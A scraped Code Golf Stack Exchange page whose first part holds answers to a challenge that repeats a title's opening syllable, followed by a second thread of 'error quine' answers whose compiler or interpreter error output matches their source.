[Sumner18](https://codegolf.stackexchange.com/users/82163/sumner18) along with the Tio [link to running code](https://tio.run/##PY5BT8MwDIXv/AorlyQQInEH7TSJSSAulTgwDumWthGpDU1CF0377SVdKw6W/Pye7W@Ymqcm4SE6QnGS53Aw@Hj/P9Fay/PpMoVUCyb07ebDWEcpf95Jpth@/wBrMTVvCsW5VJWq5HS5aQR7MXhkcu5eidC7touL/EnbZHfYLqrqXAAXkEcwEBy23sJIw1Ev9i7yAAUJIsG3Nxla8s1ivRGtGd4DfZm8qOe@V4CkoersUG4576G2YCJ4a0IEQgu/NFqvoE4RXIQCf01gHueV9fN7lwsX5IJ1jW@YnP4A) [Answer] # MATL, 33 bytes ``` '(^.*?[yY%s]+)'13Y2YD'$1 $1 $1'YX ``` Try it at [**MATL Online**](https://matl.io/?code=%27%28%5E.%2a%3F%5ByY%25s%5D%2B%29%2713Y2YD%27%241+%241+%241%27YX&inputs=%27Land%27&version=19.8.0) **Explanation** ``` % Implicitly grab input as a string '(^.*?[yY%s]+)' % Push this string literal (regex pattern) 13Y2 % Push the string literal 'AEIUOaeiuo' YD % Replace the '%s' in the string with 'AEIUOaeiuo' '$1 $1 $1' % Push the string literal to use for replacement which repeats % the first match 3 times YX % Perform regular expression matching and replacement % Implicitly display the result ``` [Answer] # [Ohm](https://github.com/MiningPotatoes/Ohm), 19 bytes (CP437) ``` ≡┬üC▓αy_ε;TF«u├DQüj ``` Explanation: ``` ≡┬üC▓αy_ε;TF«u├DQüj Main wire, arguments: s ≡ Triplicate input ┬üC Push input, all lowercase with concatenated space character ▓ ; Map string into an array with... αy_ε Boolean: is element a vowel? TF«u Find first occurrence of [true, false] ├D Slice input up to that index and duplicate it Q Reverse stack üj Join on spaces, implicitly print ``` [Answer] # Java 8, 147 140 bytes Golfed: ``` import java.util.regex.*;s->{Matcher m=Pattern.compile("([^aeiouy]*[aeiouy]+)",2).matcher(s);m.find();return m.group()+" "+m.group()+" "+s;} ``` Ungolfed: ``` import java.util.regex.*; public class LaLaLandNoWaitMooMooMoonlight { public static void main(String[] args) { for (String[] strings : new String[][] { { "Land", "La La Land" }, { "Moonlight", "Moo Moo Moonlight" }, { "queueing", "queuei queuei queueing" }, { "This isn't a single word.", "Thi Thi This isn't a single word." }, { "It's fun to play golf", "I I It's fun to play golf" }, { "Ooo", "Ooo Ooo Ooo" }, { "I'm okay", "I I I'm okay" }, { "Hmm, no. There will be at least one vowel, but it can be anywhere.", "Hmm, no Hmm, no Hmm, no. There will be at least one vowel, but it can be anywhere." } }) { final String input = strings[0]; final String expected = strings[1]; final String actual = f(s -> { java.util.regex.Matcher m = java.util.regex.Pattern.compile("([^aeiouy]*[aeiouy]+)", 2).matcher(s); m.find(); return m.group() + " " + m.group() + " " + s; } , input); System.out.println("Input: " + input); System.out.println("Expected: " + expected); System.out.println("Actual: " + actual); System.out.println(); } } private static String f(java.util.function.Function<String, String> function, String input) { return function.apply(input); } } ``` Note: the literal `2` in the code is the value of `java.util.regex.Pattern.CASE_INSENSITIVE`. [Answer] # C, 123 bytes ``` #define v(x)while(x strchr("AEIOUY",*s&95))++s; a;f(s,t)char*s,*t;{t=s;v(!)v()a=*s;*s=0;printf("%s %s ",t,t);*s=a;puts(t);} ``` Call as: ``` main(){char s[] = "queueing"; f(s);} ``` [Answer] # [Pyke](https://github.com/muddyfish/PYKE), 22 bytes ``` l1~V\y+L{$0R+f2<ssDQdJ ``` [Try it online!](https://tio.run/nexus/pyke#@59jWBcWU6ntU61iEKSdZmRTXOwSmOL1/79vXn6@f15OZnpGCQA "Pyke – TIO Nexus") This is 4 bytes longer than it should really be had I implemented a shorter way of getting vowels including `y`. [Answer] # Retina, 24 bytes ``` i1`.*?[aeiouy]+ $0 $0 $0 ``` [**Try it online**](https://tio.run/nexus/retina#HYvBCsIwEAXv@xXvoFRUin6BVwuKFy8iQqNd22C6q01iydfXWpjTMDNflDTYbZkvd1fDVmO6rWi2wcQwHIxUdFQVZ@sm0CdyZCs1nRvrYb1kAQZ@NI7Ra1flVITM4xkFQfF2JqFW96STKhVZC32ZRPu2XUM0x7nhbvysc7gzTIBj4wNUGF/t2a1xjwE24GFkKiT1/yWniyb9AQ) [Answer] # [Python 3](https://docs.python.org/3/), ~~130~~ 102 bytes ``` w=input();a='';v=0 for i in w: if i in 'aeiouyAEIOUY': v=1 elif v: break a+=i a+=' ';print(a*2+w) ``` [Try it online!](https://tio.run/nexus/python3#@19um5lXUFqioWmdaKuubl1ma8CVll@kkKmQmadQbsXFmZkGYasnpmbml1Y6unr6h0aqWymU2RpycabmAKXLgKo4k4pSE7O5OBO1bTO5gIS6grp1QVFmXolGopaRdrnm//85iXkpAA "Python 3 – TIO Nexus") Uses no function of any kind and no external libraries! (Unless print and input count as functions, which they do). Works by seeing if it gets out of the consonants in the start of the title into the 'vowel zone'. If it is in the 'vowel zone' and detects a consonant, then it prints the title. Saved 28 bytes thanks to @LliwTelracs [Answer] # MATLAB / Octave, ~~58~~ 51 bytes *7 Bytes saved thanks to @HughNolan* ``` @(x)regexprep(x,'(^.*?[aeiouyAEIOUY]+)','$1 $1 $1') ``` Creates an anonymous function named `ans` which can be called by passing a string to it: `ans('Land')` [Online Demo](http://ideone.com/xl3UzO) For MATLAB compatibility, `$0` should be used in place of `$1` in the above function. [Answer] # [APL (Dyalog)](https://www.dyalog.com/), 28 bytes ### [`'(?i)^.*?[aeiouy]+'⎕R'& & &'`](https://tio.run/##PY5NSgNBEIX3nuKtLH/iXGFWgoERIQRciELF6cw01lQl6W6HvoBLceMFc5E4JnSoTdWr7z0eb@SuzSzWHQ4NN7z/@qGr2l@/VTf1CztvKb/e0v77d0GXmIZOGKhhbenitD@aqfiuj0XYpvvk5tqVe9n7AB@UKIIRvHbiMNqurQoxj0QB66SIho1wRmeyLt8nszNINMA@OBfhYRhmUKuw7N1uSvUiWDlwhDgOEaYOnzY6mWGVInzEO@uR0Dz@W84dnvs8lUSeKh4NNf0B "APL (Dyalog Unicode) – Try It Online") or 29 chars: [`'^.*?[aeiouy]+'⎕R'& & &'⍠1`](https://tio.run/##PY5BSgNBEEX3nuKvLNA44AmyEgyMCBJwIQoVpzPTpKYqprsd@gLuFDfuPdtcJI4JHWpT9ev9z@etXDWZxdr9vuaax49veqku5k/svKX8fEnj188DnWMaGj9/r48YqGZt6Oy435mp@LaLRXhLN8kttC33svMBPihRBCN4bcVhsF1TFWIRiQLWSRENW@GM1mRdvvdmJ5Coh204F@G272dQq7Ds3G5K9SJYOXCEOA4Rpg7vNjiZYZUifMQr64HQPPxbTh0euzyVRJ4qHgxz@gM "APL (Dyalog Unicode) – Try It Online") Simply a (`(?i)` or `⍠1`) case-insensitive PCRE **R**eplace of `^` the beginning `.*?` zero or more characters (lazy) `[aeiouy]+` one or more vowels with `& & &` the entire match thrice with spaces inbetween --- ### Version without RegEx, 43 bytes [`⊢(↑,' ',↑,' ',⊢)⍨1⍳⍨1 0⍷'aeiouy'∊⍨' ',⍨819⌶`](https://tio.run/##PY4xTsNAEEV7TvG7AclEpIOKColIRjSRUk/wZr1ivZPE61h7gQhZWIIrpEqPBPfZiwTHkV3NzJ/3vz6v7W0W2Io@nVJOOe6/YnO4jvvvhEDJOJvDTWyP09j@nAfuYvtHrIxUgeJH02k91R7vpw/x8/eSBUrZZXR12V9EnDU694OwqZ4qNXN6uOe5KWFKR@TBKI3TVqGWbTYZiJknKrGqHLxgbTlAi10N31eRESQqIO8cBuG5KBI4mWCeq22XaqzFUoE9rOLSQ5zCTmplEywrD@Pxxq4nXKjPlrHDIg9dSYSuYm94pH8 "APL (Dyalog Unicode) – Try It Online") `819⌶` lowercase `' ',⍨` append a space `'aeiouy'∊⍨` which letters are vowels `1 0⍷` vowels that are followed by a non-vowel `1⍳⍨` index of first one `⊢(`…`)⍨` apply the following tacit function with the string as right argument, and the above index as left argument  `↑` that many characters taken from the string  `,` followed by  `↑` that many characters taken from the string  `,` followed by  `⊢` the string [Answer] # [C (gcc)](https://gcc.gnu.org/), ~~111~~ 110 bytes ``` *d="AEIOUYaeiouy";b;f(char*a){b=strcspn(a,d);write(printf(" "),a,write(1,a,b+strspn(a+b,d)));printf(" %s",a);} ``` [Try it online!](https://tio.run/##bY/NasMwEITveYpFUGwlbqBnE0IPgRpackkpPa5s2RaVV65@akTIs7tKAr24t2HmG2a3fuzqep7XzY49H6rj@ydKZUJkpSjbvO7RrpGfxc55W7uRciwaXk5WeZmPVpFvcwaMF1jcvaekxCbBN3YjEs15@Uc@OFYgLy/zgIpyfl4BJPsVqWGJCt7lLIm7@2YMadX1fhl9h0OQFXXL5NQrB8pR5gHBKeq0hMnYZrtEK585aAOBNzBqjNAZ3S6xozH/dLMBzBfGZfLRx7QPMc3/mEnq/RJ5GYYCyGzh1EubzlNag5CAHrRE58GQvHcLEMGD8lAj3QiK07VyfWZ1mX8B "C (gcc) – Try It Online") This just uses library functions `strspn()` and `strcspn()` and exploits the order in which gcc evaluates function parameters. Slightly less golfed ``` *d="AEIOUYaeiouy";b; f(char*a){ b=strcspn(a,d); write(printf(" "),a,write(1,a,b+strspn(a+b,d))); printf(" %s",a); } ``` Thanks to @gastropner for -1. ]
[Question] [ Your challenge: write a "program", for a language of your choice, that causes the compiler/interpreter/runtime to produce *error output* when compiling/running your program which is identical to your program's source code. Rules: * Your program may be specific to a particular version or implementation of your language's compiler/interpreter/runtime environment. If so, please specify the particulars. * Only standard compiler/interpreter/runtime options are permitted. You cannot pass some weird flag to your compiler to get a specific result. * The program does *not* need to be syntactically or semantically valid, but I may give a bounty to the best syntactically valid submission. * The program must not produce any output of its own (e.g. by calling a print or output function). All output generated upon attempting to compile/run the program must originate from the compiler/interpreter/runtime. * The complete output of the compiler/interpreter/runtime must be exactly identical to your program source code. * The compiler/interpreter/runtime must generate at least one error message when invoked with your program. This is a *popularity contest*. Most creative answer, as determined by upvotes, wins. If you can give a *good* case for using a standard loophole, you may do so. [Answer] ## Windows Command Prompt ``` & was unexpected at this time. ``` ![enter image description here](https://i.stack.imgur.com/xWAdk.png) [Answer] # Ed (1 byte) All the other solutions thus far are long and ugly. I suppose that is because of the nature of most error messages. But a good error message is elegant in its simplicity. For that, look no further than ed. ``` ? ``` Save this to a file called `edscript` and run with `ed < edscript`, or run `ed<<<?`. The result: ``` ? ``` The question mark is written to stderr and ed returns 1, so this actually is an error message. I wonder why ed isn't very popular? # False (0 bytes) Run with `false filename`. It writes the program's source code (i.e. nothing) to stderr and returns 1. Of course, calling false a programming language is questionable, and the zero byte quine is unoriginal, but I thought I might as well add it. There is probably some interpreter for a language that prints no error messages, and could replace false. Now I wish this was code golf. [Answer] ## CoffeeScript, syntactically valid As tested on [their website](http://coffeescript.org/) using Chrome or Firefox. ``` ReferenceError: defined is not defined ``` You can replace `defined` with anything that's not a built-in variable, but I thought this version was fun. Unfortunately, `undefined is not defined` in particular doesn't work as a quine. In CoffeeScript this isn't even a syntax error, because it compiles. This is technically a runtime error in JavaScript, albeit a boring one. CoffeeScript is a likely candidate to produce some more interesting runtime error quines because a lot of funny sentences are valid code. E.g. the above example compiles to ``` ({ ReferenceError: defined === !defined }); ``` [Answer] # Windows .EXE, 248 bytes ``` The version of this file is not compatible with the version of Windows you're running. Check your computer's system information to see whether you need an x86 (32-bit) or x64 (64-bit) version of the program, and then contact the software publisher. ``` No, really. Save as `quine.txt`, then rename to `quine.exe` (or download it [here](https://gist.github.com/aaronryank/b11a719bb450718e0d7693b337029344/archive/dbe0ce95ef570a3f2147137382229f0eaa87a19e.zip)): [![](https://i.stack.imgur.com/T4svL.png)](https://i.stack.imgur.com/T4svL.png) [Answer] # Python ## Spyder Well, a rather trivial solution for the Spyder IDE is to raise a `SyntaxError`. **Code and identical output:** ``` Traceback (most recent call last): File "<stdin>", line 1, in <module> File "/Applications/Spyder.app/Contents/Resources/lib/python2.7/spyderlib/widgets/externalshell/sitecustomize.py", line 540, in runfile execfile(filename, namespace) File "/Users/falko/golf.py", line 1 Traceback (most recent call last): ^ SyntaxError: invalid syntax ``` (Python 2.7.8 with Spyder 2.2.5) --- ## Terminal An alternative solution for Python started from command line struggles with an unexpected indent. **Command:** ``` python golf.py ``` **Code and identical output:** ``` File "golf.py", line 1 File "golf.py", line 1 ^ IndentationError: unexpected indent ``` --- ## ideone.com On [ideone.com](http://ideone.com/) a solution might be as follows. [(Try it!)](http://ideone.com/sGPFdT) **Code and identical output:** ``` Traceback (most recent call last): File "<string>", line 1, in <module> File "/usr/lib/python2.7/py_compile.py", line 117, in compile raise py_exc py_compile.PyCompileError: SyntaxError: ('invalid syntax', ('prog.py', 1, 22, 'Traceback (most recent call last):\n')) ``` (This is for Python 2. An example for Python 3 is trivial but with [15 lines of "code"](http://ideone.com/mQ7NRI) rather lengthy.) --- # General approach: ## How to create your own solution in 2 minutes? 1. Open a new file in an IDE of your choice. 2. Bang your head onto the keyboard in front of you. 3. Compile. 4. Replace the code with the compiler error message. 5. Repeat steps 3 and 4 until the code converges. I bet such a procedure terminates pretty quickly in most cases! [Answer] ## ><> - 25 Bytes ``` something smells fishy... ``` In Fish, any bad instruction outputs the error: "something smells fishy...". Since s is not a valid command, it errors immediately. [Answer] # [Chicken](https://web.archive.org/web/20180816190122/http://torso.me/chicken "Chicken chicken chicken: chicken chicken") ``` Error on line 1: expected 'chicken' ``` [Answer] # Whitespace First I thought this is clearly impossible. But actually it is trivial as well. -.- ``` Fail: Input.hs:108: Non-exhaustive patterns in function parseNum' ``` [Try it.](http://ideone.com/13FBnQ) Yeah, my first whitespace program! ;) [Answer] # JavaScript Since different browsers use different JavaScript compilers, they produce different messages. These are, however, rather trivial solutions. ## V8 (Chrome 36 / Node.js) ``` SyntaxError: Unexpected identifier ``` ![enter image description here](https://i.stack.imgur.com/LRFup.png) ## SpiderMonkey (Firefox 31) ``` SyntaxError: missing ; before statement ``` ![enter image description here](https://i.stack.imgur.com/x3lir.png) ## Chakra (Internet Explorer 11) ``` Expected ';' ``` ![enter image description here](https://i.stack.imgur.com/DdRVJ.png) [Answer] ## Microsoft Excel Formula: `#DIV/0!` Error Message: `#DIV/0!` In order to enter a formula without using an equals sign, go into Excel Options/Advanced/Lotus Compatibility Settings and enable Transition Formula Entry. [Answer] ## Commodore 64 Basic ``` ?SYNTAX ERROR ``` When run on the emulator of your choice (or an actual Commodore 64), produces ``` ?SYNTAX ERROR ``` This is, in fact, a syntactically-valid one-line program. The question mark is a shortcut for `PRINT`, and `SYNTAX` and `ERROR` are valid variable names. The error occurs because the parser gets confused by the substring `OR` in `ERROR`. [Answer] ## Java 8 compilation error quine (12203 bytes) Generated on windows + mingw with java 1.8.0\_11 jdk, using this command: ``` echo a > Q.java; while true; do javac Q.java 2> Q.err; if [ $(diff Q.err Q.java | wc -c) -eq 0 ]; then break; fi; cat Q.err > Q.java; done ``` May not be the shortest one, may not be the longest one either, more a proof of concept. Works because error output shows at most 100 errors. ``` Q.java:1: error: class, interface, or enum expected Q.java:1: error: class, interface, or enum expected ^ Q.java:1: error: <identifier> expected Q.java:1: error: class, interface, or enum expected ^ Q.java:1: error: <identifier> expected Q.java:1: error: class, interface, or enum expected ^ Q.java:1: error: as of release 5, 'enum' is a keyword, and may not be used as an identifier Q.java:1: error: class, interface, or enum expected ^ (use -source 1.4 or lower to use 'enum' as an identifier) Q.java:1: error: = expected Q.java:1: error: class, interface, or enum expected ^ Q.java:2: error: <identifier> expected Q.java:1: error: class, interface, or enum expected ^ Q.java:2: error: ';' expected Q.java:1: error: class, interface, or enum expected ^ Q.java:2: error: illegal start of type Q.java:1: error: class, interface, or enum expected ^ Q.java:2: error: = expected Q.java:1: error: class, interface, or enum expected ^ Q.java:2: error: <identifier> expected Q.java:1: error: class, interface, or enum expected ^ Q.java:2: error: <identifier> expected Q.java:1: error: class, interface, or enum expected ^ Q.java:2: error: as of release 5, 'enum' is a keyword, and may not be used as an identifier Q.java:1: error: class, interface, or enum expected ^ (use -source 1.4 or lower to use 'enum' as an identifier) Q.java:2: error: = expected Q.java:1: error: class, interface, or enum expected ^ Q.java:3: error: illegal start of type ^ ^ Q.java:4: error: = expected Q.java:1: error: <identifier> expected ^ Q.java:4: error: <identifier> expected Q.java:1: error: <identifier> expected ^ Q.java:4: error: ';' expected Q.java:1: error: <identifier> expected ^ Q.java:4: error: illegal start of type Q.java:1: error: <identifier> expected ^ Q.java:4: error: = expected Q.java:1: error: <identifier> expected ^ Q.java:5: error: '(' expected Q.java:1: error: class, interface, or enum expected ^ Q.java:5: error: <identifier> expected Q.java:1: error: class, interface, or enum expected ^ Q.java:5: error: ';' expected Q.java:1: error: class, interface, or enum expected ^ Q.java:5: error: illegal start of type Q.java:1: error: class, interface, or enum expected ^ Q.java:5: error: = expected Q.java:1: error: class, interface, or enum expected ^ Q.java:5: error: <identifier> expected Q.java:1: error: class, interface, or enum expected ^ Q.java:5: error: <identifier> expected Q.java:1: error: class, interface, or enum expected ^ Q.java:5: error: as of release 5, 'enum' is a keyword, and may not be used as an identifier Q.java:1: error: class, interface, or enum expected ^ (use -source 1.4 or lower to use 'enum' as an identifier) Q.java:5: error: = expected Q.java:1: error: class, interface, or enum expected ^ Q.java:6: error: illegal start of type ^ ^ Q.java:7: error: = expected Q.java:1: error: <identifier> expected ^ Q.java:7: error: <identifier> expected Q.java:1: error: <identifier> expected ^ Q.java:7: error: ';' expected Q.java:1: error: <identifier> expected ^ Q.java:7: error: illegal start of type Q.java:1: error: <identifier> expected ^ Q.java:7: error: = expected Q.java:1: error: <identifier> expected ^ Q.java:8: error: '(' expected Q.java:1: error: class, interface, or enum expected ^ Q.java:8: error: <identifier> expected Q.java:1: error: class, interface, or enum expected ^ Q.java:8: error: ';' expected Q.java:1: error: class, interface, or enum expected ^ Q.java:8: error: illegal start of type Q.java:1: error: class, interface, or enum expected ^ Q.java:8: error: = expected Q.java:1: error: class, interface, or enum expected ^ Q.java:8: error: <identifier> expected Q.java:1: error: class, interface, or enum expected ^ Q.java:8: error: <identifier> expected Q.java:1: error: class, interface, or enum expected ^ Q.java:8: error: as of release 5, 'enum' is a keyword, and may not be used as an identifier Q.java:1: error: class, interface, or enum expected ^ (use -source 1.4 or lower to use 'enum' as an identifier) Q.java:8: error: = expected Q.java:1: error: class, interface, or enum expected ^ Q.java:9: error: illegal start of type ^ ^ Q.java:10: error: = expected Q.java:1: error: as of release 5, 'enum' is a keyword, and may not be used as an identifier ^ Q.java:10: error: <identifier> expected Q.java:1: error: as of release 5, 'enum' is a keyword, and may not be used as an identifier ^ Q.java:10: error: ';' expected Q.java:1: error: as of release 5, 'enum' is a keyword, and may not be used as an identifier ^ Q.java:10: error: illegal start of type Q.java:1: error: as of release 5, 'enum' is a keyword, and may not be used as an identifier ^ Q.java:10: error: = expected Q.java:1: error: as of release 5, 'enum' is a keyword, and may not be used as an identifier ^ Q.java:10: error: = expected Q.java:1: error: as of release 5, 'enum' is a keyword, and may not be used as an identifier ^ Q.java:10: error: illegal start of type Q.java:1: error: as of release 5, 'enum' is a keyword, and may not be used as an identifier ^ Q.java:10: error: <identifier> expected Q.java:1: error: as of release 5, 'enum' is a keyword, and may not be used as an identifier ^ Q.java:10: error: unclosed character literal Q.java:1: error: as of release 5, 'enum' is a keyword, and may not be used as an identifier ^ Q.java:10: error: ';' expected Q.java:1: error: as of release 5, 'enum' is a keyword, and may not be used as an identifier ^ Q.java:10: error: unclosed character literal Q.java:1: error: as of release 5, 'enum' is a keyword, and may not be used as an identifier ^ Q.java:10: error: = expected Q.java:1: error: as of release 5, 'enum' is a keyword, and may not be used as an identifier ^ Q.java:10: error: = expected Q.java:1: error: as of release 5, 'enum' is a keyword, and may not be used as an identifier ^ Q.java:10: error: = expected Q.java:1: error: as of release 5, 'enum' is a keyword, and may not be used as an identifier ^ Q.java:10: error: = expected Q.java:1: error: as of release 5, 'enum' is a keyword, and may not be used as an identifier ^ Q.java:11: error: <identifier> expected Q.java:1: error: class, interface, or enum expected ^ Q.java:11: error: ';' expected Q.java:1: error: class, interface, or enum expected ^ Q.java:11: error: illegal start of type Q.java:1: error: class, interface, or enum expected ^ Q.java:11: error: = expected Q.java:1: error: class, interface, or enum expected ^ Q.java:11: error: <identifier> expected Q.java:1: error: class, interface, or enum expected ^ Q.java:11: error: <identifier> expected Q.java:1: error: class, interface, or enum expected ^ Q.java:11: error: as of release 5, 'enum' is a keyword, and may not be used as an identifier Q.java:1: error: class, interface, or enum expected ^ (use -source 1.4 or lower to use 'enum' as an identifier) Q.java:11: error: = expected Q.java:1: error: class, interface, or enum expected ^ Q.java:12: error: illegal start of type ^ ^ Q.java:12: error: <identifier> expected ^ ^ Q.java:13: error: = expected (use -source 1.4 or lower to use 'enum' as an identifier) ^ Q.java:13: error: ';' expected (use -source 1.4 or lower to use 'enum' as an identifier) ^ Q.java:13: error: <identifier> expected (use -source 1.4 or lower to use 'enum' as an identifier) ^ Q.java:13: error: = expected (use -source 1.4 or lower to use 'enum' as an identifier) ^ Q.java:13: error: ';' expected (use -source 1.4 or lower to use 'enum' as an identifier) ^ Q.java:13: error: = expected (use -source 1.4 or lower to use 'enum' as an identifier) ^ Q.java:13: error: unclosed character literal (use -source 1.4 or lower to use 'enum' as an identifier) ^ Q.java:13: error: unclosed character literal (use -source 1.4 or lower to use 'enum' as an identifier) ^ Q.java:13: error: = expected (use -source 1.4 or lower to use 'enum' as an identifier) ^ Q.java:14: error: <identifier> expected Q.java:1: error: = expected ^ Q.java:14: error: ';' expected Q.java:1: error: = expected ^ Q.java:14: error: illegal start of type Q.java:1: error: = expected ^ Q.java:14: error: = expected Q.java:1: error: = expected ^ Q.java:14: error: illegal start of type Q.java:1: error: = expected ^ Q.java:15: error: = expected Q.java:1: error: class, interface, or enum expected ^ Q.java:15: error: illegal start of type Q.java:1: error: class, interface, or enum expected ^ Q.java:15: error: = expected Q.java:1: error: class, interface, or enum expected ^ Q.java:15: error: illegal start of type Q.java:1: error: class, interface, or enum expected ^ Q.java:15: error: <identifier> expected Q.java:1: error: class, interface, or enum expected ^ Q.java:15: error: = expected Q.java:1: error: class, interface, or enum expected ^ Q.java:15: error: ';' expected Q.java:1: error: class, interface, or enum expected ^ Q.java:15: error: <identifier> expected Q.java:1: error: class, interface, or enum expected ^ Q.java:15: error: <identifier> expected Q.java:1: error: class, interface, or enum expected ^ Q.java:15: error: as of release 5, 'enum' is a keyword, and may not be used as an identifier Q.java:1: error: class, interface, or enum expected ^ (use -source 1.4 or lower to use 'enum' as an identifier) Q.java:15: error: = expected Q.java:1: error: class, interface, or enum expected ^ Q.java:16: error: illegal start of type ^ ^ Q.java:17: error: = expected Q.java:2: error: <identifier> expected ^ Q.java:17: error: <identifier> expected Q.java:2: error: <identifier> expected ^ Q.java:17: error: ';' expected Q.java:2: error: <identifier> expected ^ Q.java:17: error: illegal start of type Q.java:2: error: <identifier> expected ^ Q.java:17: error: = expected Q.java:2: error: <identifier> expected ^ 100 errors ``` [Answer] # Bash (32) Save as file named `x`: ``` x: line 1: x:: command not found ``` When run: ``` >> bash x x: line 1: x:: command not found ``` [Answer] # ArnoldC ``` missing IT'S SHOWTIME on first line ``` Paste the code into [this compiler](http://mapmeld.github.io/ArnoldC/). [Answer] # TrumpScript - Making PPCG Great Again ([TrumpScript](https://github.com/samshadwell/TrumpScript)) When trying to run this language on a windows PC, the output is always: ``` Make sure the currently-running OS is not Windows, because we're not PC ``` So when running this program: ``` Make sure the currently-running OS is not Windows, because we're not PC ``` It won't even parse it because the OS check fails, and you get the error message. Examples can be given for Mac as well if anyone wants them haha. God I've wanted to use this in PPCG for awhile now, good that I finally get to. Full list of errors that can be triggered using environmental specifics: <https://github.com/samshadwell/TrumpScript/blob/master/src/trumpscript/utils.py> --- # Bonus Answer: ArnoldC ([ArnoldC](https://github.com/lhartikk/ArnoldC)) ArnoldC requires root declaration of `IT'S SHOWTIME`, meaning `main()`, so: ``` WHAT THE FUCK DID I DO WRONG ``` Results in the only error message in ArnoldC... ``` WHAT THE FUCK DID I DO WRONG ``` Which, is actually... hilarious. You have to run it non-verbose though w/o stack traces. [Answer] # Mathematica ``` Syntax: "needed." is incomplete; more input is needed. ``` A `.` in *Mathematica* means either a decimal point or function `Dot`. In this case, the `.` appears at the end of an expression and cannot be interpreted. --- [![enter image description here](https://i.stack.imgur.com/Db7EV.png)](https://i.stack.imgur.com/Db7EV.png) [Answer] # Z-machine interpreter ``` I don't know the word "know". ``` Test against [this popular interpreter](https://www.bbc.co.uk/programmes/articles/1g84m0sXpnNCv84GpN2PLZG/the-game-30th-anniversary-edition). Also there's some sort of mostly harmless game hosted there. [Answer] ## Julia 0.2.0 Another syntax error found iteratively until a fixed point was reached: ``` ERROR: syntax: extra token "token" after end of expression ``` [Answer] # AppleScript ``` A identifier can’t go after this identifier. ``` Both `A` and `identifier` can be identifiers, so AppleScript says no. [![identifiers](https://i.stack.imgur.com/OzHaC.png)](https://i.stack.imgur.com/OzHaC.png) [Answer] # C++ (g++) The file must be saved as `1.pas`. ``` g++: error: 1.pas: Pascal compiler not installed on this system ``` [Answer] # [INTERCALL](//github.com/theksp25/INTERCALL), 90 bytes ``` Fatal error: A INTERCALL program must start with the mandatory header to prevent golfing.\n ``` Includes a trailing newline at the end. Note that this isn't STDERR, but it was considered to be error output by many, so I posted it here. This is the "mandatory header": ``` INTERCALL IS A ANTIGOLFING LANGUAGE SO THIS HEADER IS HERE TO PREVENT GOLFING IN INTERCALL THE PROGRAM STARTS HERE: ``` [Answer] # [Pepe](//github.com/Soaku/Pepe), 9 bytes ``` RRRERROR! ``` [Link to interpreter](//soaku.github.io/Pepe/) (paste the code above, permalink removes the `!` and `O`) **Explanation:** The interpreter ignores characters other than `R`,`r`,`E`,`e` so the code is: ``` RRRERRR ``` Now to explain: ``` RE # Push 0 RR # (RR flag: doesn't exist) RRR # There is no command RRR, so output RRRERROR! ``` [Answer] # Applescript (in Script Editor) ``` Syntax Error A "error" can't go after this identifier. ``` ![enter image description here](https://i.stack.imgur.com/w4Dfp.png) [Answer] # C I applied the method of repeatedly copying the error messages to the source. It converged in 2 cycles. Compiled on OSX 10.9 with 'cc -c error.c'. ``` error.c:1:1: error: unknown type name 'error' error.c:1:1: error: unknown type name 'error' ^ error.c:1:6: error: expected identifier or '(' error.c:1:1: error: unknown type name 'error' ^ 2 errors generated. ``` Note: This is not so much an answer as it is a methodology to get one. The result might change depending on your OS or the version of cc you are using. The exact method to get the result is to execute the instructions ``` $ cc -c error.c 2>out ; mv out error.c ; cat error.c ``` repeatedly until the output stops changing. [Answer] # BBC Basic, 7 bytes (or 0 Bytes) This is a valid 7 byte entry: ``` Mistake ``` This is the error message produced by the interpreter when it is completely unable to make sense of the code. On the other hand, this is not: ``` ERROR ``` This is a valid keyword in BBC Basic which is supposed to deliberately introduce an error of a specified code into the program, but the syntax is wrong (no code is given.) Therefore it returns `Syntax error` (which in turn returns `Mistake` when it is run.) In general the procedure described by Falko in his answer leads to `Mistake` in BBC basic. There are a few exceptions. anything producing the errors`DATA not LOCAL` or `ON ERROR not LOCAL` leads to the famous zero byte quine: an empty source code produces an empty file. Given that most error messages in BBC basic are lowercase (and therefore not valid keywords) I am pretty sure that any invalid input will ultimately lead to one of these possibilities. [Answer] # GHCi (a Haskell interpreter/shell) ``` Code.hs:1:1: Parse error: naked expression at top level ``` ### Usage: Write the code in a file named Code and load with GHCi. A nice fact is that, if the words were actual identifiers, this would be a legal expression (as long as it would typecheck). This is basically due to the fact that `:` is a built in operator, `.` is used for module-qualified names, and whitespace is used to denote function application. [Answer] ### Ruby 2 on Windows *Code:* ``` error.rb:1: syntax error, unexpected tINTEGER, expecting tSTRING_CONTENT or tSTRING_DBEG or tSTRING_DVAR or tSTRING_END error.rb:1: syntax error, unexpected tI... ^ ``` The code was found by testing and iterating the process over and over until a fix-point was reached. The code must be inside the file `"error.rb"`. *Demo:* ``` C:\>type error.rb error.rb:1: syntax error, unexpected tINTEGER, expecting tSTRING_CONTENT or tSTR ING_DBEG or tSTRING_DVAR or tSTRING_END error.rb:1: syntax error, unexpected tI... ^ C:\>ruby.exe error.rb error.rb:1: syntax error, unexpected tINTEGER, expecting tSTRING_CONTENT or tSTR ING_DBEG or tSTRING_DVAR or tSTRING_END error.rb:1: syntax error, unexpected tI... ^ ``` [Answer] # CJam 0.6.2 ``` Syntax error: java.lang.RuntimeException: y not handled ``` [Try it online.](http://cjam.aditsu.net/) [Answer] # x86 assembly Bytecode: ``` 53 65 67 6d 65 6e 74 61 75 69 6f 6e 20 66 61 75 6c 74 20 28 63 6f 72 65 20 64 75 6d 70 65 64 29 ``` i.e. the text ``` Segmentation fault (core dumped) ``` Crashes immediately because the second instruction (the first being just "push %[er]bx") is ``` insl (%dx), %gs:(%di) ``` which fails because (a) ins cannot take segment overrides, (b) %dx and %di are almost certainly uninitialized, (c) %di is a 16-bit memory address and therefore can't be accessed in long mode, (d) ins is an invalid instruction outside of real mode. The exact output may vary depending on what system this is run on, but it is likely that it will contain some form of illegal instruction. [Answer] # C (gcc) ``` error.c:1:6: error: expected ‘=’, ‘,’, ‘;’, ‘asm’ or ‘__attribute__’ before ‘.’ token error.c:1:6: error: expected ‘=’, ‘,’, ‘;’, ‘asm’ or ‘__attribute__’ before ‘.’ token ^ compilation terminated due to -Wfatal-errors. ``` Compile with `gcc -Wfatal-errors error.c`. ]
